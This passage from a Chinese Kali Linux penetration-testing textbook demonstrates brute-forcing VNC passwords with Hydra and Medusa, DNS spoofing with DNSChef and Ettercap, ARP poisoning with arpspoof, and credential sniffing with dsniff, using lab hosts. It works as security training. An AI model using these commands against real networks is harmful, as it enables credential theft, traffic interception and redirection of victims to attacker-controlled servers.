上述信息表明,Hydra 成功地破解了 VNC 服务器的密码。被测服务器使用的密码是password01和password。

figure_0295_0124

图10.17

下一步工作就是验证Hydra破解的密码。我们可直接运行vncviewer程序,使用这些密码连接到远程主机的VNC服务器。

使用vncviewer验证密码的情况如图10.18所示。

figure_0295_0125

图10.18

上述信息表明,破解的密码可以连接到VNC服务器,而且该密码还具有服务器的root权限。捡到大便宜了!

Hydra程序有一个对应的GUI程序。

xhydra

上述指令将会启动Hydra的GTK图形界面程序。使用这个程序破解SSH服务密码的情况如图10.19所示。

figure_0296_0126

图10.19

经验表明,xhydra程序不如其命令行程序hydra那样灵活,不能调整很多设置。例如,在破解 VNC 服务时,xhydra无法设置用户名;更为不幸的是,它就没有设置用户名的功能。

3.Medusa

Medusa是另外一款在线破解网络服务密码的程序。它具有速度快、并发性能强和模板化的特点。现在,它能够通过相应模板破解CVS、FTP、HTTP、IMAP、MS-SQL、MySQL、NCP(NetWare)、PcAnywhere、POP3、PostgreSQL、rexec、Rlogin、rsh、SMB、SMTP(VRFY)、SNMP、SSHv2、SVN、Telnet、VmAuthd、VNC协议,另有一个通用处理模板。

有关Medusa和Hydra的具体区别,请参见http://foofus.net/goons/jmk/medusa/medusa-compare.html。

在实际的渗透测试工作中,可同时使用这两款工具、尽可能地获取被测主机的各种信息。

如需启动Medusa工具,可在终端中使用下述指令。

medusa

上述指令将会在屏幕上显示简单的使用说明。

Medusa程序有很多选项,其中常用的一些选项如下所示。

● -u 或-U[FILE]:指定用户名或用户名字典。

● -h 或-H[FILE]:指定主机名或主机名字典。

● -p 或-P[FILE]:指定密码或密码字典。

● -M:配置测试所用的模板的名称。亦可通过-d 选项搜索模板。

● -O:设置输出文件的文件名。

● -V:设置提示信息的详细程度。如果使用了-v 4 选项,将只能看到成功破解的登录凭据。

前面,我们用Hydra破解了VNC服务器的密码;现在我们再用Medusa作一次相同的破解试验。

medusa -u root -P password.lst -h 192.168.56.101 -M vnc -v 4

上述指令的运行结果如下。

Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

jmk@foofus.net

ACCOUNT FOUND: [vnc] Host: 192.168.56.101 User: root Password:

password [SUCCESS]

Medusa只找到了一个VNC密码;相比之下,Hydra能够找到了两个VNC密码。

10.3 网络欺骗工具

前面介绍了多款破解密码的工具。本节将探索通过网络欺骗的手段提升权限的各种方法。

网络欺骗(network spoofing)泛指修改网络数据的各种手段。例如,伪造MAC 地址、伪造IP地址等的数据,都属于网络欺骗的范畴。网络欺骗旨在于获取网络上两个会话主机的通信数据。

10.3.1 DNSChef

DNSChef(http://thesprawl.org/projects/dnschef/)是一款DNS代理工具。它可替DNS服务器对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的服务器的角色。DNSChef的这种功能可用来分析甚至控制客户主机的网络流量。

在使用DNSChef之前,您需要对被测主机进行调整,指定DNSChef的主机为被测主机的DNS服务器。

● 如果被测主机安装的是Linux 系统,那么您应当修改/etc/resolv.conf 文件。

● 如果被测主机安装的是 Windows,您可通过控制面板的网络连接选项进行相应的设置。

在没有权限更改被测主机 DNS 服务器设置的情况下,您就需要使用其他手段(例如ARP欺骗并搭设一个伪DHCP服务器等)劫持被测主机的DNS请求。

本例涉及2台主机,一台是运行DNSChef的主机,其IP为192.168.2.21;另一台是被测(受害人的)主机,其IP是192.168.2.22。简便起见,我们用Metasploitable的虚拟机充当被测主机。

首先,我们要对DNSChef进行设置。

1.设置为DNS代理

第一步是把DNSChef设置为DNS代理服务器。我们要在DNSChef的主机上运行下述指令。

dnschef

而后调整这台主机的DNS设置,使之使用本机(localhost)的DNS服务器。

然后使用下述命令查询google.com的DNS记录。

host -t A google.com

上述指令向DNSChef发起DNS查询,应当会显示图10.20所示的信息。

这种设置将DNSChef调整为DNS代理服务器。它将所有DNS解析请求转发到上游解析服务器。本例中,它的上游DNS服务器是8.8.8.8。

figure_0299_0127

图10.20

2.伪造域名记录

在伪造google.com的域名记录之前,先来看看google.com的原始解析结果(见图10.21)。

figure_0299_0128

图10.21

现在,我们要伪造 google.com 有关的 DNS 响应。和前一个例子里的情况一样,首先要修改/etc/resolv.conf文件,令被测主机使用DNSChef作为其DNS服务器。

接下来在DNSChef所在的主机上使用下述指令。

dnschef --fakeip=192.168.2.21 --fakedomains google.com

--interface 192.168.2.21 -q

而后我们在被测主机查询google.com的IP地址。

$ host -t A google.com

上述指令的运行结果如下。

google.com has address 192.168.2.21

此时,运行DNSChef的主机将提示图10.22所示的信息。

figure_0300_0129

图10.22

Kali集成的是v0.1版本的DNSChef程序。这个版本不支持IPv6。如果需要在IPv6的网络中使用这个程序,您需要将其升级为 v0.2 版(https://thesprawl.org/media/projects/dnschef-0.2.1.tar.gz)。

如需在IP v6 的网络里使用DNSChef程序,就要在指令行里启用-6 选项。

此时,域名 google.com 的 IPv6 的真正地址是 2404:6800:4003:802::1003。DNSChef主机的IPv6地址是fe80::a00:27ff:fe1c:5122/64。

在DNSChef服务器中,使用下述指令伪造google.com的IPv6地址。

dnschef.py -6 --fakeipv6 fe80::a00:27ff:fe1c:5122 --interface :: -q

10.3.2 arpspoof

arpspoof 是一款在交换网络中辅助进行网络监听的实用工具。前文提过,在使用交换机进行数据交换的网络环境里很难进行网络监听,但arpspoof可以辅助我们完成这项任务。

arpspoof用于伪造网络中两台设备的ARP通信。

常规情况下,当主机A要和主机B(网关)进行通信的时候,主机A会广播ARP请求以获取主机B 的MAC 地址。此后,主机B 将会回应这个ARP 请求,在ARP Reply 数据包里声明自己的MAC地址;与此同时,主机B也会将ARP广播中主机A的MAC地址记录下来。此后,主机A和主机B才能开始通信(见图10.23)。

figure_0300_0130

图10.23

如果攻击者C想要监听主机A和主机B之间的网络流量,则可以向主机A发送ARP回复,告诉它主机B使用的是主机C的MAC地址(33.33.33.33.33.33);而后它还要通告主机B,“主机A的MAC地址是33.33.33.33.33.33”(见图10.24)。

figure_0301_0131

图10.24

在ARP欺骗生效之后,主机A和主机B之间的所有网络数据包都会通过主机C转发。

在使用arpspoof之前,需要在Kali Linux(运行ARPspoof)的主机上启用IP 转发功能。这就需要以root用户的身份执行下述指令。

echo 1 > /proc/sys/net/ipv4/ip_forward

要通过指令行界面启动arpspoof程序,可在终端中执行下述指令。

arpspoof

上述指令将会在屏幕上显示程序的使用说明。

本例的试验环境的具体情况如下所示。

网关的配置信息如下。

● MAC 地址:00-50-56-C0-00-08

● IP 地址:192.168.65.1

● 子网掩码:255.255.255.0

被测主机的配置如下。

● MAC 地址:00-0C-29-35-C9-CD

● IP 地址:192.168.65.129

● 子网掩码:255.255.255.0

测试主机的配置如下。

● MAC 地址:00: 0C: 29: 09: 22: 31

● IP 地址:192.168.65.130

● 子网掩码:255.255.255.0

在启动程序以前,被测主机的ARP缓存如下所示。

Interface: 192.168.65.129 --- 0x30002

Internet Address Physical Address Type

192.168.65.1  00-50-56-c0-00-08 dynamic

通过以下命令,对被测主机实施ARP欺骗。

arpspoof -t 192.168.65.129 192.168.65.1

在被测主机上稍等片刻,然后用 ping 命令测试网关的连接情况。被测主机的 ARP 缓存很快就就会改变为下述内容。

Interface: 192.168.65.129 --- 0x30002

Internet Address Physical Address Type

192.168.65.1  00-0C-29-09-22-31 dynamic

上述信息表明,在被测主机的ARP缓存里,网关的MAC地址由00-50-56-c0-00-08改变为00-0C-29-09-22-31。新的MAC地址是测试主机的MAC地址。从中可以看出,网关对应MAC地址已经变成攻击者机器的MAC地址。

10.3.3 Ettercap

Ettercap(http://www.ettercap-project.org/)是一款在LAN中进行中间人攻击的工具集。它通过ARP攻击充当网络通信的中间人。一且ARP协议的攻击奏效,它就能够:

● 修改数据连接;

● 截获FTP、HTTP、POP 和SSH1 等协议的密码;

● 通过伪造SSL 证书的手段劫持被测主机的HTTPS 会话。

ARP协议(地址解析协议)用来把IP地址解析为物理地址(MAC地址)。当某个网络设备需要与其他网络资源通信时,它会通过ARP广播查询目标设备的MAC地址,目标设备也会通过ARP协议的数据包回复自己的MAC地址。此后,通信双方都会将IP和MAC的对应信息保存到自己的ARP缓存中,以节省后续通信的查询时间。

在某台主机要进行通信时,它首先会查询对方IP地址的MAC地址。此时,攻击人员可将自己主机回复给查询MAC地址的主机,以进行中间人攻击。这种攻击叫做ARP毒化(污染)攻击和ARP欺骗。只有当攻击主机和被测主机处于同一网段的时候,这种攻击才会有效。

Kali Linux 提供的Ettercap 工具可以实施这种攻击。Ettercap 有三种操作模式:文本模式、仿图形(curses,以字符模拟图形界面)模式和GTK界面的图形樸式。

若要以文本模式启动Ettercap程序,可在终端中使用下述指令。

ettercap -T

若要以仿图形模式启动它,可在终端中使用下述指令。

ettercap -C

若要进入Ettercap的图形模式,可在终端中使用下述指令。

ettercap -G

本例将使用Ettercap程序进行DNS欺骗攻击。各主机采用了前一个例子的配置方法。此外,本例要使用额外的两台主机:IP为192.16S.2.1的DNS服务器;一台诱导被测主机连接的IP地址为192.168.2.22的Web服务器。攻击人员测试主机的IP地址为192.168.2.21。

欺骗攻击的详细步骤如下。

1. 进入Ettercap 的图形模式。

2. 在菜单里依次选中Sniff | Unified sniffing,选则相应的网卡,如图10.25 所示。

figure_0303_0132

图10.25

3. 在菜单中选择Hosts | Scan for hosts,扫描网络中的主机。

4. 在菜单中选择Hosts | Hosts list,査看当前联网的主机。

5. 指定要欺骗的主机。本例中,我们选择192.168.2.1(DNS 服务器)作为第一目标。在主机列表中,选中这个IP,然后点击Add to Target 1。接下来,选中192.168.2.22并把它添加为第二目标Add to Target 22,如图10.26 所示。

figure_0304_0133

图10.26

6. 在菜单里依次选中Mitm| Arp poisoning,以启动ARP 攻击。现在DNS 服务器和被测的MAC 地址均认为对方的IP 使用的是攻击人员主机的MAC 地址。

7. 调整配置文件/usr/share/ettercap/etter.dns,将诱导服务器的 IP 地址绑定在需要欺骗(拦截)的域名上。

google.com  A  192.168.2.21

*.google.com A  192.168.2.21

www.google.com PTR 192.168.2.21

这将把被测主机与google.com之间的全部通信诱导到攻击人员部署的Web服务器上。

8. 在菜单里依次选中 Plugins | Manage the plugins,然后双击(激活)dns_spoof插件(见图10.27)。

9. 最后,我们在被测主机上打开浏览器,访问google.com。这将看到图10.28 所示的信息。

figure_0305_0134

图10.27

figure_0305_0135

图10.28

上述情况表明,DNS欺骗已经奏效。被测主机没有看到真正的Google网站,它的浏览器访问的是攻击人员部署的Web服务器。

10. 如需停止攻击,可在菜单中依次选中Mitm | Stop mitm attack(s)。

即使觉得图形界面的操作过于繁琐,您也不必担心。在Ettercap的文本模式里,这些操作要简洁得多。

在文本模式里,以下指令就可完成刚才的前8步操作(第7步除外)。

ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.2.1//192.168.2.22/

上述指令的运行结果如下。

Scanning for merged targets (2 hosts)...

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.2.1 F4:EC:38:EC:07:DC

GROUP 2 : 192.168.2.22 08:00:27:43:15:18Starting Unified sniffing...

Activating dns_spoof plugin...

dns_spoof: [safebrowsing-cache.google.com] spoofed to [192.168.2.21]

只要熟悉了Ettercap各选项的使用方法,就会发现Ettercap的文本模式十分方便。在文本模式里,按Q键就可退出程序。

10.4 网络嗅探器

网络嗅探器器是监视网络数据的软件程序或硬件设备。人们往往利用它复制网络数据的功能来检测网络数据。借助这类工具,您可以看到网络中正在传输的信息。

不久之前,网络嗅探器只是网络工程师用来解决网络问题的工具。但是,它确实可以用来作恶。如果网络数据以明文传输,且计算机之间通过集线器交换数据,那么网络里的通信信息,例如用户名、密码、邮件内容等,将很容易被他人捕获。幸运的是,如果使用交换机组网,那么捕获数据的难度会高一些,但是他人仍然能够捕获信息。

许多工具程序都可用作网络嗅探器。本章将介绍几款Kali Linux 收录了的网络嗅探器。多数情况下,您需要在嗅探数据以前进行网络欺骗攻击(请参考10.3节),因为它通常是成功施行网络嗅探的前提。

10.4.1 Dsniff

Dsniff 能够在网络中捕获密码。目前,它可从以下协议中捕获密码:FTP、Telnet、SMTP、HTTP、POP、poppass、NNTP、IMAP、SNMP、LDAP、Rlogin、RIP、OSPF、PPTP MS-CHAP、NFS、VRRP、YP/NIS、SOCKS、X11、CVS、IRC、AIM、ICQ、 Napster、PostgreSQL、Meeting Maker、Citrix ICA、Symantec pcAnywhere、NAI Sniffer、Microsoft SMB、Oracle SQL*Net、Sybase 以及Microsoft SQL。

如需启动dsniff程序,可在终端中使用下述指令。

dsniff -h

上述指令将会在屏幕上显示程序的使用说明。我们将使用它捕获FTP 密码。在本例的演示中,FTP客户端的IP是192.168.2.20,服务器IP则是192.168.2.22,这两台主机通过集线器连接。攻击人员的主机IP为192.168.2.21。

在攻击人员的测试主机上执行下述指令。

dsniff -i eth0 -m

其中,选项-i eth0 将使Dsniff 程序监听eth0 网卡。而选项-m 则用于启用程序的自动协议检测功能。

然后,在装有FTP客户端程序的主机上,使用客户端程序登录FTP服务器。

dsniff的运行结果如下。

dsniff: listening on eth0


20/08/13 18:54:53 tcp 192.168.2.20.36761 -> 192.168.2.22.21 (ftp)

USER user

PASS user01

从中可以看到,dsniff捕获了客户端登录FTP服务器时所用的用户名和密码。

10.4.2 tcpdump

tcpdump程序是一款网络嗅探器,它可以捕获符合条件表达式的网络数据包。在没有指定条件表达式的情况下,它会显示所有网络数据包。而在指定条件表达式的情况下,它只会捕获符合条件表达式的数据包。

tcpdump还可以将网络数据包存储为文件,或从文件中读取网络数据。

如需启动tcpdump程序,可在终端中执行下面这类指令。

tcpdump –i eth0 –s 96

这个命令将监听eth0 网卡(-i eth0),捕获大小为96 字节(-s 96)的数据包。

现在尝试嗅探从IP地址10.0.2.15到10.0.2.100的ICMP封包,这里设置嗅探eth0 接口(-i eth0),不需要把地址转换成主机名(-n),不需要打印时间戳(-t),用十六进制格式和ASCII格式打印封包头和数据(-X)。在主机10.0.2.15处输入:

tcpdump -n -t -X -i eth0 –s 64 icmp and src 192.168.56.102 and dst192.168.56.101

上述指令的运行结果如图10.29所示。

figure_0308_0136

图10.29

因为指定了条件表达式,tcpdump程序只会显示符合条件表达式的网络数据包。在上述指令中,我们限定程序只显示由IP为192.168.56.102的主机向IP为192.168.56.101的主机发送的ICMP数据包。

10.4.3 Wireshark

Wireshark是一个网络协议分析程序。它的图形程序可对它捕获的数据包进行可视化分析,有助于使用人员理解数据包中的各种信息。

Wireshark的特征有:

● 能够分析1000 多种网络协议;

● 能够实时捕获网络数据包,并能对数据包进行离线分析;

● 它具有业内功能最强大的数据包整理(显示过滤)功能;

● 它的GUI 图形界面程序和命令行程序TShark 都可以显示数据包;

● 支持(读写)多种文件格式的数据包文件。兼容tcpdump(libpcap)、Network GeneralSniffer、Cisco Secure IDS iplog、Microsoft Network Monitor 等程序的文件格式;

● 可从IEEE 802.11、蓝牙、以太网设备实时读取数据;

● 可将结果导出为XML、Postscript、CSV 和文本格式的文件。

如需启动 Wireshark 程序,可在桌面菜单中依次选中Kali Linux| Sniffering/Spoofing |Network Sniffers | wireshark,或者在终端中使用下述指令。

wireshark

上述指令将启动Wireshark网络协议分析程序。如果要捕捉网络数据,可以在Interface List中选择相应的网卡,如图10.30所示。

figure_0309_0137

图10.30

Wireshark将在窗口里显示在监听期间捕获到的数据包。如果要停止捕捉网络数据,可以点击顶端工具栏中第四个按钮 Stop running the live capture,或着在菜单里选择Capture|Stop。

如图10.31所示,可以在Filter栏里设置过滤规则,以显示特定的数据包。

figure_0309_0138

图10.31

在图10.31中,我们在Filter栏里设定好了过滤规则icmp,以使程序只显示ICMP协议的数据包。

如果需要调整捕获数据包的具体设置,可在菜单Capture | Options 中调整相应的选项,或在Wireshark 主界面中直接选中Capture Options 的图标(见图10.32)。

在这个界面中,您可以调整以下设置。

● Network interface(网络接口/网卡)。

● Buffer Size(缓冲区大小):默认为1MB。

● Packet limitation(数据包容量上限,以字节为单位):默认情况下没有限制。

● Capture filter to be used(捕获规则):默认情况下没有过滤规则。

○ 如需保存捕获到的数据,可在Capture file(s)区域里设置输出文件的文件名。

○ 如需设置自动停止的功能,可在StopCapture区域里设置自动停止捕获数据的触发条件。触发条件可以是捕获数据包的数量、捕获数据包的作业时间或是数据包的大小。

○ 在Name Resolution 区域里,各选项用于控制MAC 地址解析、网络名称解析和传输名称解析的功能选项。

figure_0310_0139

图10.32

10.5 本章总结

本章演示了提升本地权限以及网络嗅探和网络欺骗的具体方法。此处介绍的所有工具都可用来取得更高的访问权限。攻击人员可以通过网络嗅探和网络欺骗手段获得更多的信息,还可能获取进入内网或者外网中其他主机的方式,这些信息中可能含有更具价值的信息。

我们最先介绍了本地权限提升漏洞的利用方法。在利用被测主机的网络服务漏洞之后,我们发现获取的权限很低,接着我们将自己的权限提升为 root 权限。通过本地安全漏洞提升权限的技术有很多,本文利用的是内核漏洞。

接下来,我们阐述了攻击密码的方法。攻击的方法有两种:离线攻击和在线攻击。大多数的离线攻击工具可利用彩虹表提髙破解速度,但同时需要消耗大量的硬盘空间。离线攻击的好处是可以在自己的机器上进行,而无需担心攻击会导致目标机器上的某个账户被封停。在线攻击则可以马上査看攻击结果,但需要小心攻击可能导致目标机器上的某个账户被封停。接着,本章介绍了多款嗅探网络的工具,最后还介绍了一些可用于网络欺骗攻击的工具。网络嗅探工具属于被动攻击工具。相比之下,因为网络欺骗工具能够向网络发送数据,所以属于主动攻击工具。

在下一章,我们讨论如何维护已经取得的访问权限。